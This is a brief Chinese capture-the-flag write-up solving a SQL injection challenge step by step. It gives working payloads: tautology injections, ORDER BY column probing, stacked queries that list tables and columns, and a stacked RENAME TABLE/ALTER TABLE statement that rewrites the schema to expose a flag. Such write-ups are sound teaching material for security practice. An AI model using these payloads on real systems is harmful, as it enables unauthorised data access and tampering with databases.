这是一个典型的sql注入题目
知识点:
1、注入点检测
2、万能匹配
3、暴力获得数据表和其属性
4、sql语句的掌握(order by; union select; rename table; alter table…等等)
1、进入网站
2、看到一个输入框一个提交框,尝试进行数据输入了解大致情况
经过尝试我们发现,只有输入1,2时有显示,输入0或者其他时没有显示
3、测试是否存在注入
and 1=1和and 1=2没有变化
在参数后面加单引号,发现错误,可以尝试进行注入
4、尝试0‘ or ‘1’='1;0" or “1”="1等,发现可行
5、尝试order by+数字,直至返回错误,获得表中的列树;#号用来注释掉后面的命令
1’ order by 2#
2’ order by 3#
发现3的时候报错,所以表中只有两列数据
6、联合查询,发现select等操作被过滤
1’ union select 1,2
7、获取表名,发现有两个表
0’; show tables;#
8、获取表中的列名,发现被查询的是words表,而flag在另一个表中,我们需要获取其中的饿内容
0'; show columns from words;#
0'; show columns from `1919810931114514`;#
9、更改表名列名(偷天换日)
因为查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100)
0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#
10、查看改之后的words表中的所有内容获得flag
1’ or ‘1’='1